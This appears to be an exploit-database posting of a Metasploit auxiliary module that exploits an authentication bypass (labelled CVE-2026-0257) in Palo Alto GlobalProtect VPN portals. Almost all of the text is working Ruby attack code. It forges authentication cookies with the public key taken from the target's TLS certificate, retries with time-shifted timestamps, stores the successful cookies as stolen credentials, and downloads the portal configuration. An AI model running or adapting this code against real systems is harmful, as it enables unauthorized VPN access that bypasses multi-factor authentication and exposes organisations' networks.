==================================================================================================================================
| # Title : GlobalProtect Authentication Bypass Validation Metasploit Auxiliary Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : System built in component |
==================================================================================================================================
[+] Summary : auxiliary module is designed to automate assessment of an alleged authentication bypass vulnerability affecting GlobalProtect deployments.
The module integrates certificate collection, authentication workflow testing, result reporting, and artifact storage into a repeatable assessment workflow.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto GlobalProtect CVE-2026-0257 Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability (CVE-2026-0257)
in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components.
The vulnerability stems from CWE-565: Reliance on Cookies without Validation
and Integrity Checking. An unauthenticated remote attacker can forge
authentication cookies using the public key extracted from the TLS certificate
chain, leading to unauthorized VPN access.
Vulnerable configurations require:
- GlobalProtect portal or gateway configured
- Authentication override cookies enabled
- Certificate reuse for cookie encryption
Successfully exploited targets allow the attacker to establish unauthorized
VPN connections and bypass multi-factor authentication.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-0257'],
['URL', 'https://security.paloaltonetworks.com/CVE-2026-0257'],
['URL', 'https://cisa.gov/known-exploited-vulnerabilities/cve-2026-0257'],
['URL', 'https://attackerkb.com/topics/cve-2026-0257']
],
'DisclosureDate' => '2026-05-13',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for GlobalProtect', '/']),
OptString.new('USERNAME', [false, 'Username to forge cookie for', 'admin']),
OptString.new('DOMAIN', [false, 'Domain name (if required)', '']),
OptString.new('CLIENT_IP', [false, 'Client IP to spoof', '127.0.0.1']),
OptInt.new('TIME_OFFSET', [false, 'Time offset in seconds for stale cookie attack', 0]),
OptBool.new('TRY_ALL_CERTS', [true, 'Try all certificates in chain', true]),
OptBool.new('TIME_SHIFT_ATTACK', [true, 'Try time-shifted cookie attacks', true])
])
register_advanced_options([
OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 15]),
OptBool.new('VERBOSE_RESPONSE', [false, 'Show full response on success', false])
])
end
def peer
"#{ssl ? 'https://' : 'http://'} #{rhost}:#{rport}"
end
def extract_certificate_chain
print_status("Extracting certificate chain from #{peer}")
cert_chain = []
begin
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
sock = TCPSocket.new(rhost, rport)
ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
ssl_sock.hostname = rhost
ssl_sock.connect
certs = ssl_sock.peer_cert_chain
if certs
certs.each do |cert|
cert_chain << cert
print_status("Found certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
end
else
cert = ssl_sock.peer_cert
cert_chain << cert if cert
print_status("Found single certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
end
ssl_sock.close
sock.close
rescue => e
print_error("Failed to extract certificate chain: #{e.message}")
return []
end
print_good("Extracted #{cert_chain.length} certificate(s)")
cert_chain
end
def forge_auth_cookie(cert, username, domain, client_ip, timestamp = nil)
timestamp ||= Time.now.to_i + datastore['TIME_OFFSET']
plaintext = "#{username};#{domain};;#{timestamp};#{client_ip};"
vprint_status("Plaintext payload: #{plaintext}")
begin
public_key = cert.public_key
ciphertext = public_key.public_encrypt(plaintext, OpenSSL::PKey::RSA::PKCS1_PADDING)
cookie = Rex::Text.encode_base64(ciphertext)
print_good("Forged cookie for user: #{username} (timestamp: #{timestamp})")
vprint_status("Cookie (first 60 chars): #{cookie[0..60]}...")
return cookie
rescue => e
print_error("Failed to forge cookie: #{e.message}")
return nil
end
end
def test_cookie(cookie, username, endpoint = '/ssl-vpn/login.esp')
print_status("Testing cookie against #{endpoint}")
post_data = {
'user' => username,
'passwd' => '',
'portal-userauthcookie' => cookie,
'direct' => 'yes',
'clientVer' => '4100',
'prot' => 'https',
'server' => rhost,
'ok' => 'Login',
'jnlpReady' => 'jnlpReady'
}
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, endpoint),
'vars_post' => post_data,
'ctype' => 'application/x-www-form-urlencoded',
'timeout' => datastore['TIMEOUT']
)
if res
vprint_status("HTTP #{res.code}")
success_indicators = [
'Success', 'success', 'successful',
'<argument>', 'argument',
'portal', 'Portal', 'gateway', 'Gateway',
'config', 'Config', 'session', 'Session',
'authcookie', 'set-cookie', 'Set-Cookie'
]
if res.body
success_indicators.each do |indicator|
if res.body.include?(indicator) && !res.body.downcase.include?('error')
return true, res
end
end
if res.code == 302 || (res.code == 200 && res.body.length > 500)
if !res.body.downcase.include?('invalid') && !res.body.downcase.include?('failed')
return true, res
end
end
end
return false, res
else
return false, nil
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("Connection failed: #{e.message}")
return false, nil
rescue => e
print_error("Request failed: #{e.message}")
return false, nil
end
end
def extract_gateway_info(response)
info = {}
if response && response.body
if response.body =~ /portal[":\s]+([a-zA-Z0-9._-]+)/i
info['portal'] = Regexp.last_match(1)
end
if response.body =~ /gateway[":\s]+([a-zA-Z0-9._-]+)/i
info['gateway'] = Regexp.last_match(1)
end
if response.body =~ /(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)/i
info['auth_cookie'] = Regexp.last_match(1)
end
end
if response && response.headers
if response.headers['Set-Cookie'] =~ /(?:GP-Auth-Cookie|gp-auth-cookie)=([^;]+)/i
info['set_cookie'] = Regexp.last_match(1)
end
end
info
end
def report_credentials(username, cookie, info)
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: cookie,
private_type: :nonreplayable_hash,
service_name: 'palo_alto_globalprotect',
workspace_id: myworkspace_id
}
credential_data[:address] = rhost
credential_data[:port] = rport
credential_data[:protocol] = 'tcp'
if info['gateway']
credential_data[:proof] = "Gateway: #{info['gateway']}"
elsif info['portal']
credential_data[:proof] = "Portal: #{info['portal']}"
end
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
workspace_id: myworkspace_id
}
create_credential_login(login_data)
print_good("Credentials stored in database")
end
def run_host(ip)
print_status("Starting exploitation against #{peer}")
unless check_host
print_error("Target does not appear to be a GlobalProtect portal")
return
end
cert_chain = extract_certificate_chain
if cert_chain.empty?
print_error("Could not extract any certificates")
return
end
username = datastore['USERNAME']
domain = datastore['DOMAIN']
client_ip = datastore['CLIENT_IP']
print_status("Attempting authentication bypass for user: #{username}")
success = false
certs_to_try = datastore['TRY_ALL_CERTS'] ? cert_chain : [cert_chain.first]
certs_to_try.each_with_index do |cert, idx|
print_status("Trying certificate #{idx + 1}/#{certs_to_try.length}")
cookie = forge_auth_cookie(cert, username, domain, client_ip)
next unless cookie
success, response = test_cookie(cookie, username)
if success
print_good("=" * 60)
print_good("SUCCESS! Authentication bypass achieved!")
print_good("=" * 60)
print_good("Username: #{username}")
print_good("Cookie: #{cookie}")
info = extract_gateway_info(response)
if info['gateway']
print_good("Gateway: #{info['gateway']}")
end
if info['portal']
print_good("Portal: #{info['portal']}")
end
if info['auth_cookie'] || info['set_cookie']
print_good("Session cookie obtained: #{info['auth_cookie'] || info['set_cookie']}")
end
if datastore['VERBOSE_RESPONSE'] && response
print_status("Response body preview:")
print_line(response.body[0..500]) if response.body
end
loot_path = store_loot(
'palo_alto_globalprotect_cookie',
'text/plain',
rhost,
"GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nCVE-2026-0257",
"cve-2026-0257_cookie_#{username}.txt",
"CVE-2026-0257 forged authentication cookie"
)
print_good("Cookie saved to loot: #{loot_path}")
report_credentials(username, cookie, info)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'palo_alto_globalprotect',
info: "Vulnerable to CVE-2026-0257 authentication bypass"
)
get_portal_config(cookie)
success = true
break
else
if response
vprint_error("Failed with this certificate: HTTP #{response.code}")
else
vprint_error("Failed with this certificate: No response")
end
end
end
if !success && datastore['TIME_SHIFT_ATTACK']
print_status("Attempting time-shifted cookie attacks...")
[ -3600, 3600, -7200, 7200, -86400, 86400 ].each do |offset|
next if offset == datastore['TIME_OFFSET']
print_status("Trying time offset: #{offset} seconds")
datastore['TIME_OFFSET'] = offset
cookie = forge_auth_cookie(cert_chain.first, username, domain, client_ip)
next unless cookie
success, response = test_cookie(cookie, username)
if success
print_good("SUCCESS with time offset #{offset} seconds!")
print_good("Username: #{username}")
print_good("Cookie: #{cookie}")
loot_path = store_loot(
'palo_alto_globalprotect_cookie_timeshift',
'text/plain',
rhost,
"GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nTimeOffset=#{offset}",
"cve-2026-0257_cookie_timeshift_#{offset}.txt",
"CVE-2026-0257 forged cookie (time offset: #{offset})"
)
print_good("Cookie saved to loot: #{loot_path}")
report_credentials(username, cookie, extract_gateway_info(response))
success = true
break
end
end
end
unless success
print_error("Exploitation failed. Target may not be vulnerable or authentication override cookies are disabled.")
end
end
def get_portal_config(cookie)
print_status("Attempting to retrieve portal configuration...")
post_data = {
'action' => 'getconfig',
'portal-userauthcookie' => cookie,
'clientVer' => '4100'
}
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ssl-vpn/getconfig.esp'),
'vars_post' => post_data,
'timeout' => datastore['TIMEOUT']
)
if res && res.code == 200 && res.body
vprint_status("Portal config retrieved (#{res.body.length} bytes)")
config_path = store_loot(
'palo_alto_globalprotect_config',
'text/xml',
rhost,
res.body,
"globalprotect_config.xml",
"GlobalProtect portal configuration"
)
print_good("Portal configuration saved to: #{config_path}")
end
rescue => e
vprint_error("Failed to get portal config: #{e.message}")
end
end
def check_host
print_status("Checking if target is a GlobalProtect portal...")
endpoints = ['/global-protect/login.esp', '/ssl-vpn/login.esp']
endpoints.each do |endpoint|
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, endpoint),
'timeout' => datastore['TIMEOUT']
)
if res && res.code == 200
if res.body && (res.body.include?('GlobalProtect') || res.body.include?('global-protect'))
print_good("GlobalProtect portal detected at #{endpoint}")
return true
end
end
rescue
next
end
end
print_error("GlobalProtect portal not detected")
false
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation